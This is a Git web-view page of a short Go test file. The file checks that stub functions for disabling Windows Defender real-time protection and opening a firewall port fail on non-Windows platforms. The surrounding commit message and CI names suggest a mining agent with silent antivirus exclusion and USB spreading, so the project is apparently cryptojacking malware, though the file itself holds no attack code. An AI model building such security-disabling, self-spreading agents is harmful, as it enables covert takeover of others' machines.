Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
23 lines
525 B
Go
23 lines
525 B
Go
//go:build !windows && !linux && !darwin
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
func TestDisableDefenderRealtimeStub(t *testing.T) {
|
|
_, err := DisableDefenderRealtime()
|
|
if err == nil || !strings.Contains(err.Error(), "Windows-only") {
|
|
t.Fatalf("expected Windows-only error, got %v", err)
|
|
}
|
|
}
|
|
|
|
func TestOpenFirewallPortStub(t *testing.T) {
|
|
_, err := OpenFirewallPort(8080, "test")
|
|
if err == nil || !strings.Contains(err.Error(), "Windows-only") {
|
|
t.Fatalf("expected Windows-only error, got %v", err)
|
|
}
|
|
}
|